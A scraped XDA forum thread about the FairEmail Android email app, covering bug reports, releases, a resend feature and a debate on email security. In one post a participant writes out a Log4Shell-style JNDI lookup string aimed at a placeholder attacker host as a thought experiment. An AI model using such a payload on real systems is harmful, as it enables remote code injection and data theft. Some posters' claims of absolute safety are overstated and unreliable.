yashsingh1/xdaforums huggingface dataset:
[Android Apps and Games] mkasimd:
Correct me @M66B, but if I understand the reformatting correctly, the reformated view does not load any scripts, and by default also no images. It only displays text and that without loading external elements (e.g. no CSS). It only respects the plain or HTML text.

If that is the case, then the probability of a security issue is pretty much 0,00% as displaying text is not exploitable for as long as there is nothing executed (e.g. script execution, but we already excluded that one). A probability at that rate can also be translated as: the scenario you are describing is not just infeasible, it's impossible.

so rest assured, the sole drawback here is that loading the body might use your data (mostly by a few kB). That's all to it.
[Android Apps and Games] heinhuiz:
@yomikr, there is no reason at all why you should want to check the headers of a message before you download it. As long as you show reformatted messages by default, don't download images and do not open links, nothing can go wrong with the email. No information is sent anywhere, the sender will not even be aware that you opened the mail at all. Better than 100% safe is not possible.

Edit: I see @mkasimd agrees 😄

Sorry for the redundant posting.
[Android Apps and Games] fraschi51:
I don't see it the same way as you do, especially since the headers of my mails usually go over several A4 pages and are usually much more extensive than the mail text. I would be quite annoyed if I always had to look at this amount of usually useless information before I get to the actual mail.

And spam or malicious code should already be filtered out or moved by the provider anyway.
[Android Apps and Games] M66B:
That's indeed what happens. No scripts, no external access, format to styled text, not using CSS and HTML.

The chance that a security problem in a message has any effect is about zero.
[Android Apps and Games] heinhuiz:
I have the same. I unchecked 'Enabled' in Setup - Advanced options but the connections stay alive.

Edit: tested on WiFi.

---------- Post added at 05:49 PM ---------- Previous post was at 05:44 PM ----------

There is something wrong with toggling it on and off.

Try playing with it, turn it on and off for a few times with and without going back to settings. Sometimes the notification even appears when I toggle the checkmark off and disappears when I set it on again.

At least that is how you can check whether the connections are active or not.
[Android Apps and Games] M66B:
Is the synchronizing notification still being shown?

Note that turning on/off may take some time.
[Android Apps and Games] heinhuiz:
See my previous reply:

It is not just on WiFi, also on mobile.
[Android Apps and Games] M66B:
Toggling the enabled check mark will queue a start or stop request which might take some time to execute, so the check mark is not necessarily in sync with the reality. If the synchronizing notification is gone, no more new email will be received.
[Android Apps and Games] heinhuiz:
That might have been the problem for me, that the request (to the server, I presume) took to long or was even missed. I don't use the feature normally, but if, I'll just keep an eye on the notification.
[Android Apps and Games] chantoine:
Sorry, for me it's not only with Wifi and we're back on the same problem as with 1.85+, FairEmail don't stop syncing even with "active" unchecked. I waited more than 30 minutes, and when i uncheck there is no more "stopped" in log. Or it depends (on why, can't find it for the moment).

---------- Post added at 07:01 PM ---------- Previous post was at 06:59 PM ----------

Exactly.
[Android Apps and Games] M66B:
Unfortunately I cannot reproduce this.
[Android Apps and Games] M66B:
I have just released

stable

version 1.102

Changelog/download:

https://github.com/M66B/open-source-email/releases
[Android Apps and Games] Wenro:
Trying this out instead of using the regular Gmail.

Thank you!
[Android Apps and Games] Wenro:
Hello!

It worked just fine for me after I installed it. Then, all of a sudden, my account doesn't connect (Gmail) anymore. I didn't tinker with anything, it worked and suddenly stopped. I gave it some time to re-connect but it didn't happen yet in 5-6 hours.

Gmail connected

Gmail FOREIGN KEY constraint failed (code 787)

Gmail run

Gmail Couldn't connect to host, port: imap.gmail.com, 993; timeout 60000

Notification bar shows the notification, "2 activities pending", Synchronizing 1 account.
[Android Apps and Games] M66B:
If you are using the latest version, please disable and enable FairEmail in the advanced settings, wait one minute and send me the debug information (via 'about').
[Android Apps and Games] Wenro:
"Sender is missing" when I'm trying to send it to you.
[Android Apps and Games] M66B:
Did you configure an identity?
[Android Apps and Games] Wenro:
Yes, configured it with name amd selected the "linked account" Gmail ★

Nothing advanced.

Gmail

imap.gmail.com:993

Identity

smtp.gmail.com:465

EDIT: Managed to send you.

EDIT2: I'm still recieving mails, like from XDA when you quote med etc. But it shows the "Disconnected" icon on my inboxes.
[Android Apps and Games] M66B:
Sender missing means there is no identity (available or selected) when sending a message.

Double check the top field of the compose screen.
[Android Apps and Games] Wenro:
Yep, identity works. You should have recieved log/logcat.

Regards
[Android Apps and Games] M66B:
I have recently received a few log files, but I have no idea which is yours.

Also, log files without problem description generally go directly to trash.
[Android Apps and Games] Wenro:
I re-sent with description.-

Regards
[Android Apps and Games] waxwepa:
Buying pro

Hi! I am desperately trying to buy the pro version of the fairmail app. I have a PayPal account, but it is momentarily not functioning. Therefore I tried the option to "buy with a debit or credit card", but this operation is managed by PayPal and I can't get it to work... Could I send my donation via a bank transfer with Western Union or some other money transfer tool?

Thanks for helping me out with this. Regards
[Android Apps and Games] M66B:
There is no Log4j in FairEmail or any of my other apps.
[Android Apps and Games] nadir husain:
I am on FE as long as Marcel supports it!
[Android Apps and Games] yomikr:
Of course.

It is just a global option.

You check a case in global options, if you want to see headers before the body, and another case if you want manualy download the body.

Maybe 20% of users has to know how to understand headers.

So of course, it is not the goal to have this for everybody.

And this is not for the 80% users that just received mail tracking.

But for users that are TARGETED by smartest people, this type of extreme privacy protection seem to be important.

Moreover if the software will not be maintain sometime in the future.

For example, MUTT or NeoMUTT on linux is a text plain email software. You just can use it in terminal. So it can not show image or html, or whatever.

It is one of the most secure email software. Even it, have some CVE.

Look at here : https://www.cvedetails.com/vulnerability-list/vendor_id-158/product_id-274/Mutt-Mutt.html

For example CVE CVE-2018-14359.

The attacker can send a base64 data in the body, that can create a buffer overflow. With that, he can modify some system information.

So even the best software are hackable.

Because of using a library that have an error in dev, or a small error in internal dev.

And we can not control every libary that we used.

So i think that if the body can not be downloaded, it is great (as an option as i said) (and more if the software is no more maintain in the future.)

FOR A PERSON THAT IS TARGETED. Not just for traking.

I know that it is for a few number of person. But for them, it is important.

This is my reflexion, and if i am the only one to think like that, that 's ok, i will do with that, and use fairemail like it is. Because on android i have not found a better app than fairemail.
[Android Apps and Games] M66B:
There could be a similar bug in processing the headers.

FairEmail is based on JavaMail (now JakartaMail), which has a long history and is currently being maintained by Oracle. So, the chance for bugs like this is pretty slim. Moreover, Android is inherently pretty secure.
[Android Apps and Games] mkasimd:
This type of attack only works if the software accesses memory by address, e.g. through pointers. In C for instance, it is possible to write an x elements sized array at position x+y, y>0. That will result in some data outside the array being overwritten. Also, it's quite easily forgotten to release previously allocated memory space, leading to memory leaks.

FairEmail is mainly written in Java, though some parts may use C through JNI. The elements displaying the text is in Java AFAIK. That type of overflow or rather out of bounds overwriting or especially memory leaks are practically impossible by language specification. At its worst, it might result in a runtime exception which may or may not lead to the app crashing depending on whether the app catches exceptions and how it handles them.

FairEmail again catches exceptions (even Throwables in general if I remember correctly) and handles them in a way the app won't crash. If the app crashes, it was an edge case almost nobody else experienced up to date, congrats you're the first one discovering it then. But like with any other bug up to date, @M66B always responds quickly with a bugfix.

In case of FairEmail, it's not a significant security or privacy issue because the worst thing that such a bug could do is to crash the app. No data will be accessible to third parties due to that.
[Android Apps and Games] yomikr:
Thanks for this explanation ;-)
[Android Apps and Games] maybeme2:
Thank you Marcel for all your excellent work and support over many years.

Although _I have not noticed this_ I am assuming the accumulation of a large number of filter rules over time must eventually increase the processing time. Maybe I'm wrong but if I am correct, would it make sense to have an option for Fairemail to automatically delete spam filters that have not been used for some time?

Just inquiring.
[Android Apps and Games] M66B:
Blocking senders have been changed to an efficient block list instead of filter rules a while ago and this was one of the reasons.
[Android Apps and Games] M66B:
Version 1.1787 is available on GitHub now. I will see if this version can be released in the Play store test program too later.

Changelog/download:

https://github.com/M66B/FairEmail/releases

This version was released to fix always downloading message headers and bodies for folder rules requiring headers and/or bodies.

A new feature not mentioned in the change log, because it is more advanced, are filter rule conditions for passing message authentication, etc. Please see this FAQ for more details:

https://github.com/M66B/FairEmail/blob/master/FAQ.md#user-content-faq71
[Android Apps and Games] sbellon:
Posting such a statement in the week of Log4Shell is somewhat strange.

Yes, C allows different types of exploits than Java, but as the Log4j vulnerability has shown, it as also VERY simple to compromise systems running Java processes using Log4j, not just simply crashing them.

As Marcel said, no Log4j in FairEmail, but you cannot guarantee that NO library he uses has any exploitable bugs - even if his own code was free of them.

Again. I'm happy with FairEmail and how it currently works and is developed, however the perspective of saying "nothing can happen there" is not correct either.
[Android Apps and Games] mkasimd:
Please read the context of what the Log4j vulnerability is and what I was talking about here right now.

The context I am writing in is about the reformated view in FairEmail. There is pretty much no code (e.g. JavaScript) executed there. Now how the hell should it even be possible for the formated view to execute remote code if it does load zero external resources by default?

Don't confuse apples with pearls, as a German idiom states. Both might be fruits, but still different. Of course Java doesn't make it impossible for all exploits to exist, I said no such thing anywhere. Java solely makes the type of vulnerability @yomikr stated about Mutt impossible by design. And the reformated view doesn't allow external code execution by design either.
[Android Apps and Games] M66B:
This isn't incorrect in itself.

However, Android apps run completely isolated in a client environment as opposed to a server environment with too often liberal permissions. So, the situations are not comparable.
[Android Apps and Games] sbellon:
Let's make some experiment of thoughts ...

Let's assume you had used Log4j and used it to log sender, recipient and subject of messages (or something like that).

Then the malicious attacker could have constructed a mail with subject ${jndi:ldap://attacker.ip/something} which you would log. That would connect to attackers host and inject a class in FairEmails process space. An attacker could potentially read from FairEmails memory and database that way.

Again: I am aware that this is NOT happening. I am aware that you are absolutely doing your best to avoid that. I am aware that it is incredibly unlikely. An even if something like that would happen, I am sure you would react exceptionally fast.

My point is: saying "FairEmail is immune to such an attack (because it is written in Java and not C)" is a false sense of security.
[Android Apps and Games] M66B:
That wouldn't work on Android because all Android apps are containerized by SELinux and therefore the constructed evil command can't 'escape' the app.

Android is inherently pretty safe, unlike many servers.
[Android Apps and Games] sbellon:
I'm not talking about escaping the app or getting root, I'm talking about accessing data of the app.
[Android Apps and Games] M66B:
That would theoretically be possible, but would require a specific attack.
[Android Apps and Games] sbellon:
Sure, but that's what I was trying to say all the time.
[Android Apps and Games] M66B:
The shell will be pretty locked down though by SELinux, so the options to get the data out will be pretty limited. Never say never, but the chance something will leak via this way is pretty slim.

I didn't check, but the shell will probably have no internet access.
[Android Apps and Games] sbellon:
I'm still not sure we are talking about the same thing.

I'm not talking about escaping to any shell.

My example with log4j has attacker's code running in application context and can pipe any application data back via the opened connection to the attacker.

Again: I am not making any accusation that FairEmail has such an issue in any way! Far from it. I'm just saying that ruling out "that can never happen due to the fact that Java is used ..." is a false sense of security.

I don't want to argue about that any further, however.
[Android Apps and Games] M66B:
I agree that you can't say that if Java is being used, everything is safe, even though a range of attacks won't be possible.

If you want to 'pipe' data, you'll need a shell because an attack like this can't execute application code.
[Android Apps and Games] M66B:
The next version of the app will support resending as an experimental feature.
[Android Apps and Games] fraschi51:
Is this also possible for servers that normally do not support relaying?
[Android Apps and Games] M66B:
Surprisingly, it works fine for Gmail/Gsuite. My guess it works for Outlook/Office 365 too.

If you like, you can contact me for a test version.
[Android Apps and Games] M66B:
Since I have built a test version anyway, you can download a 'resend' test version via this link:

https://bitbucket.org/M66B/fairemail-test/downloads/FairEmail-v1.1787a-github-resend-xda-release.apk

To resend messages, the original message headers are needed. You can either enable downloading messages headers for all messages in the connection settings tab page or show the message headers via the horizontal three dots menu just above the message text to download the message headers for individual messages only.

You'll need to enable experiments in the miscellaneous settings to enable this feature.

You can find 'Resend' in the answer menu just below 'Forward'. If the message headers aren't available, the menu item will be disabled.
[Android Apps and Games] heinhuiz:
I'm afraid I will forget that I have to download the headers before being able to resend. Isn't it possible to have this menu item downloading them by itself if they are not available yet? Maybe preceeded by a warning popup.
[Android Apps and Games] M66B:
The problem with that is that downloading might not be possible at that moment, for example because there is no internet connection or because there is no connection to the email server possible.

A solution would be to put a dialog in between, similar to forwarding raw message files, but let's first see if this feature works okay. For now, you can enable to download the message headers always in the connection settings tab page.
[Android Apps and Games] fraschi51:
I know the resend/redirect feature from before, where it worked with an add-on in my old Thunderbird. However, this add-on no longer runs in current TB. It is all the more pleasing that this function is possible with FE. It did not work with my provider GMX, which is here mainly used for sending mail. But with my homepage provider 'lima-city.de' it works perfectly. Since one (me) needs this feature relatively seldom, I consider it sufficient if one sets the hook at the header view in this individual case, after one was reminded before by the dimmed Resend menu point.
[Android Apps and Games] fraschi51:
Of course, you could indeed have another dialog appear (when you click on an undimmed resend) telling you that you can't use this feature until you check 'Show Header' in the horizontal three-dot menu.

But I think @heinhuiz meant it that way, that this header download happens automatically. So the menu item would then have to perform two functions: 1. download header and then 2. redirect.
[Android Apps and Games] M66B:
Updated resend test version:

https://bitbucket.org/M66B/fairemail-test/downloads/FairEmail-v1.1787a-github-resend2-release.apk
[Android Apps and Games] fraschi51:
What is the difference?
[Android Apps and Games] M66B:
Mostly this change, which means in essence setting the right headers and using the right addresses:

Set resent headers correctly · M66B/FairEmail@50d8bbc

Fully featured, open source, privacy friendly email app for Android - Set resent headers correctly · M66B/FairEmail@50d8bbc

github.com
[Android Apps and Games] heinhuiz:
I didn't really mean it like that. What I have in mind is that when the headers of a message to be resent are not downloaded yet, a dialog opens with a text like: "To resend this message, its headers must be downloaded from the mail server first. Continue? (Cancel/OK)". I think that is the most transparent way.
[Android Apps and Games] fraschi51:
Yes, that sounds also very good.
[Android Apps and Games] fraschi51:
By the way, the author of Betterbird pointed out to me that the current TB/BB versions have a redirect function already integrated, hidden behind the 'more' button.
[Android Apps and Games] M66B:
Another voting round for Play store reviews would be appreciated ...
[Android Apps and Games] M66B:
Version 1.1788 is available on GitHub now and in the Play store test program after Google's approval.

Changelog/dowload:

https://github.com/M66B/FairEmail/releases

The main change is a new experimental feature to resend messages according to rfc2822 section 3.6.6. This is similar to forwarding messages, but the message will appear to come from the original sender.

Please read this before using this feature:

https://github.com/M66B/FairEmail/blob/master/FAQ.md#user-content-faq125
[Android Apps and Games] M66B:
The next version of the app will have support for foldable devices. In the display settings there will be new options to configure a minimum screen size condition for two column mode in portrait and landscape orientation. So, a smaller screen size (folded) means single column mode and a larger screen size (unfolded) means two column mode.

This has been tested by someone with a Samsung Galaxy Z Fold 3.
[Android Apps and Games] M66B:
It is hard to support the app and add new features while unfair 1 star reviews are coming in.

I would appreciate it if you checked reviews in the Play store app and vote them down if you think they are unreasonable or unfair and vote them up if you like them. You can select reviews by number of stars.

Too many people jump to conclusions without looking properly and giving the app any chance. Also, if something doesn't work as expected, some people run to the Play store and rate 1 star instead of asking for support and even if this is offered as a reply do nothing.

Note that you can see reviews in your own language / for your own region only. So, there is much more happening than you can see.
[Android Apps and Games] fraschi51:
Done.
[Android Apps and Games] Friedel25:
Done.

When I open the Play Store with a browser (Fx), I can see other regions such as EN, FR etc.

I marked three 1* reviews (DE, EN, FR) as inappropriate or spam and received email confirmations from Google for all three.
[Android Apps and Games] O_DoC:
Done

Like once a month 😈
[Android Apps and Games] pardub:
Done this afternoon!
[Android Apps and Games] steakhutzeee:
Hi,

noted that enabling "Request delivery recepit/read by default" only for "delivery confirmation" i still see a read confirmation prompt in the messages i send from my accounts.

Maybe i'm doing something wrong?

Screenshot of the settings attached.
[Android Apps and Games] M66B:
This setting is for outgoing messages. You can't prevent others from requesting you for read receipts. In any case, FairEmail will show such a request in a non obtrusive way, so just ignore it if you don't want to send a receipt.
[Android Apps and Games] avalx:
Done, but for me (here in Slovenia) there are very few 1 * reviews.
[Android Apps and Games] steakhutzeee:
Yep yep I mean that I enabled the options as per screenshot and tried to send some test messages to my other email addresses. The point is that FairEmail always asks for the read notification request, also when I enabled only the request delivery notification.
[Android Apps and Games] M66B:
I don't see this in the source code:

https://github.com/M66B/FairEmail/b...ava/eu/faircode/email/MessageHelper.java#L397

https://github.com/M66B/FairEmail/b.../java/eu/faircode/email/ServiceSend.java#L672

So, why do you think this?
[Android Apps and Games] steakhutzeee:
I tried again just now from FairEmail to FairEmail and had the same outcome. Both read and delivery notification requested instead of only delivery.
[Android Apps and Games] M66B:
How do you know what was requested?

This might help explain things:

Read Receipt vs. Delivery Receipt when Sending Email

Besides the headers there is also an SMTP delivery request:

https://github.com/M66B/FairEmail/b.../java/eu/faircode/email/ServiceSend.java#L672
[Android Apps and Games] steakhutzeee:
When I send an email I receive the delivery notification correctly that states that my message arrived to the server. That's ok and the only option I thought enabled. Instead for the same message I also am asked for the read receipt.
[Android Apps and Games] M66B:
Which app is asking for this?
[Android Apps and Games] steakhutzeee:
FairEmail itself. Also Thunderbird. I only use these two.
[Android Apps and Games] fraschi51:
maybe a mistake in the translation?

What exactly do the three choices look like for this option?
[Android Apps and Games] steakhutzeee:
Do not think so, just changed language setting in FairEmail and the settings are ok.
[Android Apps and Games] fraschi51:
So you chose the second, middle, of the three choices?
[Android Apps and Games] steakhutzeee:
Yep